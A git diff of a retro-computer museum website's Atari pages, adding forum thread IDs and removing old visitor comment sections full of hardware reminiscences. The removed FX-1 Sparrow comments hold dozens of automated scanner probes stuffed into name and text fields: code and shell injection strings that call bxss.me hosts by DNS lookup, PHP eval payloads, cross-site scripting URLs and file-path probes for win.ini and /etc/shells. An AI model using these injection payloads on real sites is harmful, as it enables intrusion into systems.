- RTS - - WOW, been a while since I did that sort of thing! - - author: Allen (New York) - date: Wednesday 14th May 2003 - text: What type of AC adapter is used for the atari 800... i - - author: Bill Botzong (Earth) - date: Thursday 27th June 2002 - text: The 800 was an exciting machine--it could do things the other micros of the time could not, especially in the area of grpahics. But, in NONE of the ads was a single cable ever shown! They would show one or two external drives, a tape unit, monitor and cpu and not one cable. In fact, each component had its own power suppy and plug. When you got it all plugged in, you would have wires running everywhere!! I remember having two 800's for development purposes and having to have extension cords and power strips everywhere. - - author: Marcos (Argentina) - date: Sunday 9th June 2002 - text: |- - I have an Atari 800 XL, i did not see it in the museum. I can send to you pictures and information if you want.\ - M@rcos - - author: don (texas) - date: Monday 6th May 2002 - text: hi'i was wanting to know if a800s basic cartridge can still be found? related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-800xe.md b/content/museum/atari-800xe.md index 331d87ea..68bce81d 100644 --- a/content/museum/atari-800xe.md +++ b/content/museum/atari-800xe.md @@ -67,6 +67,7 @@ params: - links - docs - videos + forum_thread: 956 photos: - title: 800 XE subtitle: '' diff --git a/content/museum/atari-abaq-atw-transputer-800.md b/content/museum/atari-abaq-atw-transputer-800.md index 433289da..82830266 100644 --- a/content/museum/atari-abaq-atw-transputer-800.md +++ b/content/museum/atari-abaq-atw-transputer-800.md @@ -55,6 +55,7 @@ params: tabs: - photos - links + forum_thread: 52 photos: - title: ATW TRANSPUTERS AT KODAK'S subtitle: '' @@ -91,30 +92,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The Transputer and OCCAM language - comments: - - author: Jesper Henriksen (Denmark) - date: Wednesday 5th November 2014 - text: ST Microelectronics bought the rights to the transputer. It is still in use today in their Set-Top Box ICs. - - author: Franz (Netherlands) - date: Tuesday 27th December 2011 - text: |- - I managed to get an ATW shortly after the project was abandoned and because of the lacking documentation contacted Perihelion to see if I could get anything from them. During the conversation it was clear they were really pissed. They said they has a deal with Atari. Atari would deliver the hardware and do the distribution, Perihelion would deliver the software. With the ATW was a bundle of documentation including registration and guarantee cards. On reception, Atari would forward the registration cards to Perihelion. It turned out they didn''t. This was either the start of a nasty relationship, or the last straw, but the conversation made it quite clear that this was one of the major issues that broke the cooperation. - - I still find it a great loss, the whole thing - including the T800 - was lightyears ahead of its time. - - author: Malcolm Ramage (United Kingdom) - date: Thursday 26th May 2011 - text: |- - There were 2 reasons the Abaq/ATW failed, the price and Atari''s inability to market the thing, never mind market it to places that would actually make use of it. - - In terms of processor "Power", Intel chips could not match the Transputers ability to do complex calculations until 5 years AFTER the ATW had been made and discontinued, and could not do multi processor calculations as well until around 2007 (Some may argue it still can''t do this as well, even with multi-core processors but that is another argument and I''m not siding either way). Bare in mind that up until 2004, most servers could not handle more than 4 CPU''s as adding more than this started to reduce performance, whereas in 1987 you could farm many more transputers which would work in harmony AND each individual chip could process calculations faster than any chip in PC''s of the time. The failure of the ATW lies at Atari''s door. They were trying to make technology for markets they had no idea about or how to approach. - - It was a brave and bold move at the time, but was too much for such a company, that is why it failed. - - author: Link (Hyrule) - date: Friday 8th April 2005 - text: they failed because PCs got cheaper and just as powerful. - - author: saad salim (liverpool) - date: Wednesday 27th October 2004 - text: i just need to know where can i find why atari abaq transputor failed. need some links to know where can i required question. oc_id: 33 source: url: https://web.archive.org/web/20230324201243/http://www.old-computers.com/museum/computer.asp?c=33 diff --git a/content/museum/atari-falcon-030-microbox.md b/content/museum/atari-falcon-030-microbox.md index ee4f7ce6..d8b55fb7 100644 --- a/content/museum/atari-falcon-030-microbox.md +++ b/content/museum/atari-falcon-030-microbox.md @@ -56,6 +56,7 @@ params: - emulators - links - docs + forum_thread: 280 photos: - title: ATARI FALCON MICROBOX subtitle: '' @@ -255,38 +256,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: AEX (Ireland) - date: Monday 10th January 2011 - text: |- - Great site! - - This was to be the new case for the Falcon 030. - - The Falcon Microbox is part of the official Sony PS2 Patent mostly pertaining to ergonomic design. All tooling and parts were ready for this case to be turned on but Atari abandoned the computer business in favour of supporting the Jaguar gaming platform. An 040 version was also designed to motherboard stage and a project called "Painter" utilising Jaguar tech was proposed. Another case design was found in proto form and it was based on the "Painter" spec, but it is unclear if this was another "Microbox" design or specifically for "Painter". - - author: Sco77y - date: Friday 28th May 2010 - text: Your right about the PS2 case design, they (Sony) bought the rights to the "GRILL" section if memory serves correctly..? I believe in the time the PS2 was launched Atari was nothing more than a rights and patents company.. (I.e still holding all the copyright and patent designs)... It was either this design or the jaguar design grill section that SONY Bought the rights to use? (Very vague but there is truth in this somewhere!) Peace out.. - - author: Malcolm Ramage (United Kingdon) - date: Thursday 21st April 2011 - text: This was supposed to be what the falcon should have been all along. The data and address buses were to be full 32 bit and a proper 68030 expansion bus with access to the 68030 burst mode for fast data transfer. The picture here is of one of the case designs, I have another picture of a case design with a CD ROM drive in the top and an Atari logo embossed onto the front. This may have been for the later proposed 68040 model but to be honest, I cant really be sure. - - author: Nathan (USA) - date: Wednesday 11th February 2009 - text: I saw one of these about a year ago on ebay. No one knew what it was so it only ended up selling for about 400 dollars. It was complete, with case and motherboard, and I am sure it worked. - - author: Desert Eagle (Brazil) - date: Sunday 17th October 2004 - text: Anyone have more pictures of Microbox? It's a very interesting system ^\_^ - - author: Ben Booth (Leeds/UK) - date: Monday 12th August 2002 - text: |- - It looks very similar to a PS2\ - Looks like Sony's contemporary design was not that comtemporary after all!! - - author: Markus (Boston) - date: Wednesday 13rd March 2002 - text: |- - Wow! I have never seen a picture of the Microbox.... It really existed! :)\ - Nice!\ - To bad ATARI is gone ..... related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-falcon-030.md b/content/museum/atari-falcon-030.md index e137c96d..5f5bfdf6 100644 --- a/content/museum/atari-falcon-030.md +++ b/content/museum/atari-falcon-030.md @@ -56,6 +56,7 @@ params: - emulators - links - docs + forum_thread: 138 photos: - title: NICE PILLOW ! subtitle: '' @@ -320,47 +321,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Dr. Bob Abell (Kanata, On, Canada) - date: Thursday 22nd August 2013 - text: Jason, Nice to know you remember where you BOUGHT the equipment. The IIe clone was probably a Laser Vtech, but we did have some others. My wife and I owned and ran Alphatel. I still have an STM125, and a couple of new toner cartridges for the 804 laser printer - which was also ahead of its time. We were, until Atari closed their Canadian operations, the Western service center for Atari as well. And we had really loyal customers. Best regards, Bob. - - author: Exin (Deutschland) - date: Tuesday 21st May 2013 - text: The Falcon didn''t have any TT Graphics modes, but those from the STe instead. The TT had a 256 Grayscales mode which is not present in the Falcon. - - author: Jakob J. (Denmark) - date: Sunday 9th October 2011 - text: |- - The Falcon was my baby back in the good old days (also had a ST and a Mega ST), I got my Falcon 030 cpu running 36MHz with a barracuda card from Germany, great stuff $) I loved the DSP - back in the assembly coding days...\ - -Love this "Museum" :) - - author: Jason Thompson (Calgary/Canada) - date: Saturday 25th June 2011 - text: My father still has and uses an Atari Falcon 030. I was born in 1975, the first computer we had that I remember using was a TI-99/4A, followed my a Apple IIe clone (can''t remember manufacturer but purchased at Alphatel in Edmonton, AB), followed by an Atari 520STFM and then an Atari 1040ST and eventually the Falcon 030 that is still used today. I think the 520 and 1040 are still operational but haven''t been powered up in decades since the Falcon was purchased... The Atari and Amiga I remember fondly as true leaders of their day. - - author: Malcolm Ramage (United Kingdon) - date: Thursday 21st April 2011 - text: I now have 2 of these brilliant if compromised machines. Sadly a full 32 bit processor on a 16 bit data bus and a 24 bit address bus, limiting the 68030 to the same data and address width of the 68000 in the ST. Also the internal expansion bus only brought the signals common to the 68000, making it more like the expansion connector in the Mega ST rather than the VME bus in the TT and Mega STE - - author: geff spicmen (Italy) - date: Friday 26th November 2010 - text: these were great computers. Amiga, Atari STe, Falcon... PCs are shit in confrontation, and they killed the market. - - author: Alex (Bulgaria) - date: Wednesday 22nd September 2010 - text: This was my first computer :) - - author: erika (cambridge, ontario) - date: Thursday 3rd January 2008 - text: this is the first computer i ever used, i remember it had a bumblebee for the cursor, after it's hard drive died my parents threw it out and got a Tandy 1000 - - author: Dave Wolnik (Phoenix, Az) - date: Saturday 19th November 2005 - text: Does anyone have a Falcon 030 for sale or know where I can get one? - - author: Sprockett (Vancouver, BC) - date: Tuesday 20th September 2005 - text: 'If anyone is interested in a bit of obscure trivia regarding the Falcon: a company called Bell & Howell (manufacturer of many things from cameras to industrial machines) used Falcons as a control computer for their postal inserting equipment (essentially automated machines that insert mail into envelopes at high speed.) To this day, some of these old mail machines are still in operation in some very prominent mail houses, and the company''s technicians scrounge for used machines and parts for these computers to keep them running.' - - author: Alejandro Corral (Granada (Spain)) - date: Monday 25th August 2003 - text: |- - Hello... I've recently acquired this beautiful computer, and I'm searching for info on an accelerator it has installed, the Skunk Falcon Accelerator. If anyone knows about it, please tell me...\ - By the way the computer is absolutely fascinating!! - - author: David A. Czuba (Buffalo NY) - date: Tuesday 30th July 2002 - text: We are a Direct Mail printshop which acquired two Bell+Howell Mailstar 500 machines driven by Atari Falcon 030 computers. Since their use is intended for a production environment, the Falcon must be operational despite dust and abuse. So the contention that the OS is unstable has less merit. I am impressed by the variety of interface ports available, including AppleTalk LAN. What could be useful is a TOS2DOS utility for creating bootable disks. related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-fx-1-sparrow.md b/content/museum/atari-fx-1-sparrow.md index 1f30db14..5c87d39d 100644 --- a/content/museum/atari-fx-1-sparrow.md +++ b/content/museum/atari-fx-1-sparrow.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 621 photos: - title: MAINBOARD subtitle: '' @@ -325,13 +326,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Malcolm Ramage (Huddersfield, England) - date: Friday 6th August 2004 - text: |- - Just a small correction to the comments on the name badge page. The eventual Falcon case was a lighter colour than the ST, and though the keyboard looks the same as the FX-1, the key lettering is different. - - On the FX-1, the key lettering is yellow, with red lettering on the function keys, but the Falcon has white lettering. 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- author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA"$$sleep(27*1000)*xbqagu$$") - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $assert(base64_decode(''cHJpbnQobWQ1KDMxMzM3KSk7''))$ - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA''$$sleep(27*1000)*aqsiyi$$'') - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ("+str(__import__(''time'').sleep(9))+__import__(''socket'').gethostbyname(''hitpfpmvmbutj42785.''+''bxss.me'')+") - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (''"()) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (''+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitpfpmvmbutj42785."+"bxss.me")+'') - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (str(__import__(''time'').sleep(9))+__import__(''socket'').gethostbyname(''hitpfpmvmbutj42785.''+''bxss.me'')) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555"$$sleep(27\*1000)\*grauvh$$" - - author: tGhYxqFm (bxss.me/t/xss.html?$00) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '"+str(\_\_import\_\_(''''time'''').sleep(9))+\_\_import\_\_(''''socket'''').gethostbyname(''''hitvuwubmjeph7309a.''''+''''bxss.me'''')+"' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555''$$sleep(27\*1000)\*vvlrie$$'' - - author: tGhYxqFm (HttP://bxss.me/t/xss.html?$00) - date: Thursday 18th August 2022 - text: '555' - - author: '''''.print(md5(31337)).'''' (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '''''+str(\_\_import\_\_("time").sleep(9))+\_\_import\_\_("socket").gethostbyname("hitvuwubmjeph7309a."+"bxss.me")+''''' - - author: ${@print(md5(31337))}$ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: str(\_\_import\_\_(''time'').sleep(9))+\_\_import\_\_(''socket'').gethostbyname(''hitvuwubmjeph7309a.''+''bxss.me'') - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555"$$sleep(27\*1000)\*xdeoss$$" - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: bxss.me/t/xss.html?$00 - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: HttP://bxss.me/t/xss.html?$00 - - author: ${@print(md5(31337))} (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 555''$$sleep(27\*1000)\*xpwyta$$'' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '"$print(md5(31337))$$a$" (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '''''$print(md5(31337))$$a$'''' (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: bxss.me/t/xss.html?$00 (USA) - date: Thursday 18th August 2022 - text: '555' - - author: $assert(base64_decode(''cHJpbnQobWQ1KDMxMzM3KSk7''))$ (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '"+str(__import__(''''time'''').sleep(9))+__import__(''''socket'''').gethostbyname(''''hitrmdmszzled943ff.''''+''''bxss.me'''')+" (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '''''"()' - - author: HttP://bxss.me/t/xss.html?$00 (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '''''+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitrmdmszzled943ff."+"bxss.me")+'''' (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: str(__import__(''time'').sleep(9))+__import__(''socket'').gethostbyname(''hitrmdmszzled943ff.''+''bxss.me'') (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (bxss.me) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (c:/windows/win.ini) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (/etc/shells) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (http://bxss.me/t/fit.txt?.jpg) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (Http://bxss.me/t/fit.txt) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: bxss.me - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: c:/windows/win.ini - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm"$$sleep(27*1000)*utsawm$$" (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: /etc/shells - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm''$$sleep(27*1000)*djjdle$$'' (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: http://bxss.me/t/fit.txt?.jpg - - author: tGhYxqFm"$$sleep(27*1000)*qytdvx$$" (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (".gethostbyname(lc("hitnl"."bszojycf9e6ce.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(89).chr(113).chr(78).") - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: Http://bxss.me/t/fit.txt - - author: tGhYxqFm''$$sleep(27*1000)*kumlrh$$'' (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (''.gethostbyname(lc(''hitig''.''ytkhvvqma2cdc.bxss.me.'')).''A''.chr(67).chr(hex(''58'')).chr(119).chr(80).chr(104).chr(76).'') - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ($(nslookup hitzbkrfeiyfa27b7d.bxss.me$$perl -e "gethostbyname(''hitzbkrfeiyfa27b7d.bxss.me'')")$) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs - - author: tGhYxqFm ($(nslookup hitfztdmnufzrc8c44.bxss.me$$perl -e "gethostbyname(''hitfztdmnufzrc8c44.bxss.me'')")) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '".gethostbyname(lc("hitji"."vllvbzxm4816e.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(68).chr(115).chr(81)."' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ($(nslookup hittvqytdswro49be2.bxss.me$$perl -e "gethostbyname(''hittvqytdswro49be2.bxss.me'')")$''$"$0$(nslookup hittvqytdswro49be2.bxss.me$$perl -e "gethostbyname(''hittvqytdswro49be2.bxss.me'')")$$'') - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '''''.gethostbyname(lc(''''hitah''''.''''qroccgxe934cb.bxss.me.'''')).''''A''''.chr(67).chr(hex(''''58'''')).chr(109).chr(72).chr(108).chr(86).''''' - - author: '''''"() (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (^($$!@$$)(()))******) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ($(nslookup hithmaspjptorf2378.bxss.me$$perl -e "gethostbyname(''hithmaspjptorf2378.bxss.me'')")) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ((nslookup hitspmdmwhsdu803be.bxss.me$$perl -e "gethostbyname(''hitspmdmwhsdu803be.bxss.me'')")) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (!(()$$!$*$*$) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ()) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ($echo aztayq$()$ evmazj$nz^xyu$$a $'' $echo aztayq$()$ evmazj$nz^xyu$$a $$" $echo aztayq$()$ evmazj$nz^xyu$$a $) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: '".gethostbyname(lc("hitqg"."zvcleobx33339.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(83).chr(115).chr(88)." (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm ($echo qlayyl$()$ dmkydk$nz^xyu$$a $'' $echo qlayyl$()$ dmkydk$nz^xyu$$a $$" $echo qlayyl$()$ dmkydk$nz^xyu$$a $) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ^($$!@$$)(()))\*\*\*\*\*\* - - author: '''''.gethostbyname(lc(''''hitou''''.''''ijpsejfz00e9f.bxss.me.'''')).''''A''''.chr(67).chr(hex(''''58'''')).chr(120).chr(75).chr(111).chr(89).'''' (USA)' - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '!(()$$!$\*$\*$' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (echo eonspe$()$ liuwcm$nz^xyu$$a $'' $echo eonspe$()$ liuwcm$nz^xyu$$a $$" $echo eonspe$()$ liuwcm$nz^xyu$$a $) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: ) - - author: bxss.me (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: $(nslookup hitbsdlakxpdpb0116.bxss.me$$perl -e "gethostbyname(''hitbsdlakxpdpb0116.bxss.me'')")$(nslookup hitbsdlakxpdpb0116.bxss.me$$perl -e "gethostbyname(''hitbsdlakxpdpb0116.bxss.me'')")$(nslookup hitbsdlakxpdpb0116.bxss.me$$perl -e "gethostbyname(''hitbsdlakxpdpb0116.bxss.me'')") - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm (USA) - date: Thursday 18th August 2022 - text: '555' - - author: tGhYxqFm 